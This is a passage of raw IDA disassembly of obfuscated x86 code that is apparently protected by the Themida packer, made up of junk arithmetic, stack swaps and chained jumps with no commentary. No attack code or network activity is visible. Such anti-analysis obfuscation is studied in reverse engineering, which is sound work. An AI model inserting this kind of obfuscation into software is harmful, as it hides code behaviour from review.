		mov	edx, esp
		add	edx, 4
		jmp	loc_5A1EA2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A49D0:				; CODE XREF: Themida_:005A665Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5580242Fh
		add	ebx, ebp
		pop	ebp
		add	ebx, edi
		push	ebp
		jmp	loc_5A3921
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A49E7:				; CODE XREF: sub_597F0C+12069j
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		movzx	cx, al
		push	small 6341h
		jmp	loc_59C8CD
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	2FBEh
		mov	[esp], ebx
		push	16DAh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A8480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A4A21:				; CODE XREF: sub_59C53B-727j
		add	esp, 4
		add	edx, 612D1C41h
		add	edx, edi
		sub	edx, 612D1C41h
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		xor	[ebx], ebp
		pop	ebx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_59AF19
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4A4B:				; CODE XREF: sub_59F5B0-4423j
					; sub_5AC95F-F9EEj
		neg	edi
		push	edi
		xchg	ebx, [esp+14h+var_14]
		not	ebx
		xchg	ebx, [esp+14h+var_14]
		pop	edi
		inc	edi
		jnz	loc_5A2658
		neg	edi
		jo	loc_59C094
		add	edi, 0E747FF21h
		push	ebx


loc_5A4A6D:				; CODE XREF: sub_5AE6FD-133A2j
					; sub_5ACD64-9DE3j
		add	esp, 4
		push	ebx
		mov	ebx, 61737EFBh
		dec	ebx
		xor	ebx, 6605B2Fh
		sub	eax, ebx
		pop	ebx
		sub	ebp, 68913BCh
		jmp	loc_5AC291
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A4A8E:				; CODE XREF: Themida_:005AE14Bj
		pop	ebp
		mov	ebp, [esp]
		jmp	loc_5A7FD1
; ---------------------------------------------------------------------------


loc_5A4A97:				; CODE XREF: Themida_:005A9674j
		jmp	loc_5A7A85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A4A9C:				; CODE XREF: sub_59FFBE-2F86j
		push	edx
		mov	edx, 33FC5F2Ch
		jmp	loc_5A1988
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A4AA7:				; CODE XREF: sub_599059+11C66j
		mov	edx, 4
		sub	ecx, 72251C9h
		jmp	loc_5AE627
; ---------------------------------------------------------------------------


loc_5A4AB7:				; CODE XREF: sub_599059+910Dj
		push	edi
		mov	edi, 4EBB4560h
		add	edi, 121FC515h
		jmp	loc_5ACDB6
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A4AC8:				; CODE XREF: sub_599721+BC8Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		jmp	loc_5A2B06
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------


loc_5A4ADC:				; CODE XREF: Themida_:0059BC17j
		mov	ebp, 6D593EACh
		xor	ebp, 994144h
		jg	loc_5A93CB
		xor	ebp, 569D315Ch
		jmp	loc_59F5D7
; ---------------------------------------------------------------------------
		add	esp, 4
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4AFC:				; CODE XREF: sub_5AC95F-132E2j
					; sub_5AC95F-85DBj ...
		sub	ebx, 4A942AC6h
		push	eax
		push	ebx
		push	9227444h
		pop	ebx
		not	ebx
		add	ebx, 53334A51h
		jo	loc_599673
		shr	ebx, 8
		jnp	loc_5A95F8
		push	edx
		mov	edx, 6C735B36h
		xchg	esi, edx
		not	esi
		pop	edi


loc_5A4B2C:				; CODE XREF: sub_5A8F00-C99Bj
		mov	ebx, [esp+14h+var_14]
		jmp	loc_5AB867
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A4B34:				; CODE XREF: sub_59F20F+428Dj
		mov	eax, [esp+8+var_8]
		jmp	loc_5A1CC8
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4B3C:				; CODE XREF: sub_5AC95F-1099Aj
		sub	edi, 4
		push	0EEEh
		mov	[esp+8+var_8], edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebx
		push	ecx
		push	0DE34B98h
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, 1BC8F024h
		push	edx
		mov	edx, ecx
		push	esi
		push	ebp
		mov	ebp, edx
		mov	esi, ebp
		pop	ebp
		mov	ebx, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		pop	edx
		pop	ecx
		jmp	loc_5AE2A7
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A4B80:				; CODE XREF: sub_5A7343-D4Bj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, edx
		pop	edx
		sub	ebx, eax
		sub	ebx, 68966FFBh
		push	esi
		jmp	loc_5A8462
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A4B98:				; CODE XREF: sub_5AA46D-5B2Dj
		pop	edx
		sub	edi, 36A54D23h
		jmp	loc_59EF74
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D5B


loc_5A4BA4:				; CODE XREF: sub_599D5B+9j
		and	ebp, 3A528BEh
		not	ebp
		jmp	loc_5ABECA
; END OF FUNCTION CHUNK	FOR sub_599D5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A4BB1:				; CODE XREF: sub_597F0C+3DF8j
		pop	ebp
		sub	ebp, 40A7271Dh
		pop	edx
		jmp	loc_5A7B7E
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5A4BBE:				; CODE XREF: sub_5A6DA1-1C1Aj
		or	esi, edi
		jmp	loc_5A83EC
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A4BC5:				; CODE XREF: sub_59FDC7-808Dj
		shr	ebp, 1
		jmp	loc_5A3E2C
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A4BCC:				; CODE XREF: sub_59B923+2F22j
		xor	edi, 0F1BBE886h
		and	eax, edi
		push	[esp+4+var_4]
		jmp	loc_599399
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------


loc_5A4BDC:				; CODE XREF: Themida_:005A5410j
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		sub	al, 5Bh
		mov	ch, al
		jmp	loc_5A09C2
; ---------------------------------------------------------------------------


loc_5A4BEC:				; CODE XREF: Themida_:005A84F9j
		push	ebp
		mov	eax, [esp]
		jmp	loc_59BEA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A4BF5:				; CODE XREF: sub_59D24A+6j
		mov	[esp+6+var_8+2], eax
		mov	ah, 0A3h
		mov	ch, ah
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		sub	ch, 89h
		sub	bh, ch
		pop	ecx
		jmp	loc_59F7EC
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5A4C10:				; CODE XREF: Themida_:005AE5D5j
		push	eax
		mov	eax, 6A89575Ah
		jmp	loc_5A9094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A4C1B:				; CODE XREF: sub_59D24A-1AEBj
		mov	[esp-6+arg_2], edi
		jmp	loc_5ADC19
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A4C23:				; CODE XREF: sub_5ABF4A+982j
		push	esi
		push	edx
		push	255D0128h
		jmp	loc_598383
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A4C2F:				; CODE XREF: sub_5A1B2A+560Aj
		dec	eax
		jmp	loc_5AA1C5
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A4C35:				; CODE XREF: Themida_:00599C02j
					; sub_59EE40-13A7j
		sub	edi, 48DC7FC1h
		jmp	loc_5A5837
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_5A4C40:				; CODE XREF: Themida_:005AC39Cj
		jb	loc_5A17FD
		shl	eax, 5
		shr	eax, 2
		dec	eax
		jz	loc_5A4E05
		sub	eax, 0A142E3h
		mov	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5A2D88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A4C62:				; CODE XREF: sub_5A1076-894Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_59D5DC
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A4C77:				; CODE XREF: sub_5A8D43-9762j
		add	esp, 4
		push	edi
		push	4
		push	[esp+16h+var_18+2]
		jmp	loc_5A5C53
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A4C8B:				; CODE XREF: Themida_:005AD88Ej
		mov	ebx, [esp]
		jmp	loc_599CEE
; ---------------------------------------------------------------------------


loc_5A4C93:				; CODE XREF: Themida_:005A887Dj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A6D37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A4CA4:				; CODE XREF: sub_5A8C33-B5D5j
		and	eax, 534A3D25h
		push	ebx
		push	37FCh
		pop	ebx
		push	edi
		mov	edi, 634A5719h
		add	eax, edi
		pop	edi
		sub	eax, ebx
		sub	eax, 634A5719h
		pop	ebx
		add	edi, eax
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59B81A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A4CD4:				; CODE XREF: sub_59CA4A+C209j
		sub	edx, 4C16758Ah
		jmp	loc_5ABB48
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A4CDF:				; CODE XREF: Themida_:005A1BDBj
		xor	eax, ebx
		push	66C3h
		mov	[esp], ecx
		jmp	loc_5A76F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEFD6


loc_5A4CEE:				; CODE XREF: sub_5AEFD6+9j
		add	edx, 5DE775FCh
		neg	edx
		shr	edx, 7
		dec	edx
		add	edx, 0BAE8FAA3h
		sub	ebp, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59B08C
; END OF FUNCTION CHUNK	FOR sub_5AEFD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A4D10:				; CODE XREF: sub_59CD12+8D8Bj
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		jmp	loc_5A55CC
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A4D1E:				; CODE XREF: sub_5ADE3B-15F48j
		xor	ah, 0C5h
		push	eax
		not	byte ptr [esp+0Ch+var_C+1]
		jmp	loc_59B600
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A4D2B:				; CODE XREF: sub_5A91CF-89B3j
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		jmp	loc_59CCBB
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A4D36:				; CODE XREF: sub_5AA46D-1B5j
		push	0EEBh
		mov	[esp+4+var_4], ebp
		jmp	loc_5A405B
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A4D43:				; CODE XREF: sub_5A3F42-BF48j
		add	edi, 41A46B3Fh
		jmp	loc_5A21A6
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A4D4E:				; CODE XREF: sub_5A438E-57D0j
		mov	esi, edi
		jmp	loc_5A45CA
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_5A4D55:				; CODE XREF: sub_5AB531-BC49j
		pop	edx
		push	ebx
		mov	ebx, 25E03AABh
		jmp	loc_59F0FE
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5981F9


loc_5A4D61:				; CODE XREF: sub_5981F9+13669j
		add	dword ptr [esp+4], 30E19A0h
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 30E19A0h
		pop	edi
		jmp	loc_598885
; END OF FUNCTION CHUNK	FOR sub_5981F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE45C


loc_5A4D7B:				; CODE XREF: sub_5AE45C-762Aj
					; Themida_:005A75F8j
		xor	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	small word ptr [eax]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AE45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A4D89:				; CODE XREF: sub_5AB98B-40FFj
		sub	al, cl
		jmp	loc_59DE62
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A4D90:				; CODE XREF: sub_5AB88E-E687j
		mov	esp, [esp+0]
		jmp	loc_59FE9A
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A4D98:				; CODE XREF: sub_5A1B2A-5199j
		add	edx, 29286BBFh
		jmp	loc_59BFDA
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A4DA3:				; CODE XREF: Themida_:005A2EDBj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5A7B0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A4DB8:				; CODE XREF: sub_5A8D43+2BF1j
		add	dword ptr [esp+0], 4
		pop	esi
		jmp	loc_5A5112
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A4DC2:				; CODE XREF: Themida_:0059CEDBj
		pop	eax
		push	ecx
		push	eax
		push	1BB33013h
		mov	eax, [esp]
		add	esp, 4
		or	eax, 6F17408Ch
		and	eax, 0B02328Eh
		jle	loc_5AAB50
		jmp	loc_59F43A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A4DE5:				; CODE XREF: sub_59D99C+5F5Ej
		push	eax
		mov	eax, 47B33386h
		dec	eax
		sub	eax, 24257BDBh
		jge	loc_59F712
		shl	eax, 2
		jp	loc_5A255F
		xor	eax, 0FF64F22Fh


loc_5A4E05:				; CODE XREF: Themida_:005A4C4Dj
					; Themida_:005AEF9Dj
		pop	ebp
		xor	edi, ebp
		pop	ebp
		push	ebx
		jmp	loc_5A7279
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A4E0F:				; CODE XREF: sub_5AC95F-1453Cj
		mov	ebx, 3DB80A4Ah
		xor	ebx, 445E0C12h
		jmp	loc_5A8EB4
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5A4E1F:				; CODE XREF: sub_5A8899-4B31j
		mov	[esp+0Ch+var_C], edx
		push	62955BBFh
		jmp	loc_599064
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A4E2C:				; CODE XREF: sub_5A8F00-104B5j
		sub	edi, 0CD25E39h
		neg	edi
		jmp	sub_5A7BD2
; END OF FUNCTION CHUNK	FOR sub_5A8F00

; =============== S U B	R O U T	I N E =======================================



sub_5A4E39	proc near		; CODE XREF: sub_5A17D6-5C84j

; FUNCTION CHUNK AT 005A3406 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_5A3406
sub_5A4E39	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A4E3F:				; CODE XREF: sub_5A0F44-4299j
					; sub_5A99FA-24A0j
		add	esp, 4
		add	edx, 12FC055Bh
		jmp	loc_5A0E52
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A4E50:				; CODE XREF: sub_5ABA9B-7A75j
		push	5450259Fh
		pop	edi
		shr	edi, 2
		shr	edi, 5
		dec	edi
		push	esi
		mov	esi, 459D403Fh
		sub	esi, 0FFFFFFFFh
		shl	esi, 2
		not	esi
		sub	esi, 31D2009Dh
		or	esi, 8B123E4h
		sub	esi, 0B536CBECh
		add	edi, esi
		mov	esi, [esp+14h+var_14]
		add	esp, 4
		add	edi, 0F4D42BC0h
		jmp	loc_5A69D4
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A4E96:				; CODE XREF: sub_59B707+2C2Cj
		sub	edx, 1E0C003Ch
		jb	loc_5AE513
		jmp	loc_5ACEC0
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	0FAAh
		mov	[esp], eax
		jmp	loc_59A2D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A4EBB:				; CODE XREF: sub_5ACD64-EC7Ej
		mov	[esp-4+arg_0], eax
		mov	al, 0A3h
		neg	al
		add	al, 21h
		jbe	loc_59B0CC
		neg	al
		xor	al, 4Ch
		inc	al
		jmp	loc_5A41F8
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A73AF


loc_5A4ED5:				; CODE XREF: sub_5A73AF+3552j
		mov	[edx], ch
		pop	ecx
		mov	edx, [esp+0]
		add	esp, 4
		push	dword ptr [esp+0]
		jmp	loc_59CC69
; END OF FUNCTION CHUNK	FOR sub_5A73AF
; ---------------------------------------------------------------------------


loc_5A4EE6:				; CODE XREF: Themida_:0059CB56j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A2E58
; ---------------------------------------------------------------------------


loc_5A4EF4:				; CODE XREF: Themida_:0059E118j
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_598FEF
; ---------------------------------------------------------------------------


loc_5A4F0A:				; CODE XREF: Themida_:005AC1EFj
		push	eax
		jmp	loc_5ABEDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACB72


loc_5A4F10:				; CODE XREF: sub_5ACB72+Bj
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		mov	edx, [esp+4+var_4]
		jmp	loc_59D25D
; END OF FUNCTION CHUNK	FOR sub_5ACB72
; ---------------------------------------------------------------------------


loc_5A4F1E:				; CODE XREF: Themida_:005A17ACj
		push	ebp
		push	355175F8h
		jmp	loc_5A5A80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A4F29:				; CODE XREF: sub_5AB72D:loc_59E356j
					; sub_5A7343+2621j
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, 790364CAh
		jmp	loc_5A5606
; END OF FUNCTION CHUNK	FOR sub_5A7343

; =============== S U B	R O U T	I N E =======================================



sub_5A4F3D	proc near		; CODE XREF: sub_59CFBF+60CDj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059ADA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B137 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059B39F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059DD40 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059F6E7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FA84 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A07F9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1B1D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6448 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A68DC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A7066 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A808F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A82DF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AB8AA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AEF02 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AEFF9 SIZE 0000000F BYTES

		push	ebx
		mov	ebx, 614B7D08h
		sub	eax, 6EF66998h
		jmp	loc_5AEFF9
sub_5A4F3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A4F4D:				; CODE XREF: sub_5986D6+869Dj
		add	esi, 4
		jmp	loc_598094
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB22


loc_5A4F58:				; CODE XREF: sub_59BB22+82E0j
		pop	edx
		or	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 157C5708h
		jmp	loc_5AC177
; END OF FUNCTION CHUNK	FOR sub_59BB22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A4F67:				; CODE XREF: sub_5A600F+4A13j
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		mov	ecx, [esp-8+arg_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		push	esi
		jmp	sub_5A6DA1
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A4F8C:				; CODE XREF: sub_5A34FD+A317j
		push	edx
		mov	edx, esp
		jmp	loc_59BEEE
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A4F94:				; CODE XREF: Themida_:005A2E02j
		mov	ecx, 66725732h
		shr	ecx, 5
		not	ecx
		push	esi
		mov	esi, 27C54F12h
		add	ecx, esi
		pop	esi
		xor	ecx, 345FBCD5h
		push	eax
		mov	eax, 7E76332Bh
		not	eax
		sub	eax, 3F869D35h
		sub	edx, eax
		jmp	loc_5A6AA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A4FC1:				; CODE XREF: Themida_:005A12E1j
					; sub_5AB1B9-3C3Dj
		mov	esi, 4
		add	edi, 25EC3505h
		add	edi, 79ED4A3Dh
		sub	edi, 36596BD4h
		add	edi, esi
		add	edi, 36596BD4h
		push	ecx
		mov	ecx, 79ED4A3Dh
		sub	edi, ecx
		jmp	loc_5ABF65
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A4FED:				; CODE XREF: sub_599059+D8E1j
		pop	ebx
		jmp	loc_5AE388
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A4FF3:				; CODE XREF: sub_59B707+9AFEj
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 71A63431h
		jmp	loc_59BE3D
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A5009:				; CODE XREF: sub_59D99C+8A8Bj
					; sub_5A8D43+14Ej
		mov	ebp, 4
		add	esi, 55A650E5h
		add	esi, ebp
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebp
		jmp	loc_59BC31
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A5024:				; CODE XREF: sub_5A8D43-30DEj
		add	edi, 4
		xchg	edi, [esp+16h+var_18+2]
		pop	esp
		add	edx, 226972F2h
		sub	edx, 7C0D3E2Ah
		add	edx, 364A056Ch
		sub	edx, edi
		sub	edx, 364A056Ch
		add	edx, 7C0D3E2Ah
		push	ebp
		push	25AB6C1Ch
		pop	ebp
		jmp	loc_5A3366
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5A5057:				; CODE XREF: sub_5A879C-C58Dj
		shl	ebx, 2
		push	2464h
		mov	[esp+0], esi
		mov	esi, 6E044199h
		jmp	loc_5ABE1A
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------


loc_5A506C:				; CODE XREF: Themida_:005A88B1j
		push	edi
		mov	edi, 8E659CDFh
		xor	eax, edi
		pop	edi
		jmp	loc_597FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A507A:				; CODE XREF: sub_5ACD64-40F8j
		add	ecx, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_599767
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A5084:				; CODE XREF: sub_59DFDD+83A4j
					; sub_597C68+11371j
		jmp	loc_5ACBF9
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A5089:				; CODE XREF: sub_5A91CF-C510j
		and	eax, edi
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+8+var_8]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	0DBDh
		mov	[esp+8+var_8], eax
		push	ebp
		pop	eax
		pop	ebp
		jmp	sub_5A3D81
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A50CF:				; CODE XREF: sub_599059+12D02j
		mov	[esp+0], edx
		mov	edx, 1
		and	eax, edx
		mov	edx, [esp+0]
		jmp	loc_5A972D
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A50E1:				; CODE XREF: sub_59CA4A-4EC6j
		mov	ebp, [esp+4+var_4]
		jmp	loc_59A0A9
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A50E9:				; CODE XREF: sub_5A8F00-C66Fj
		inc	edi
		or	edi, 49015511h
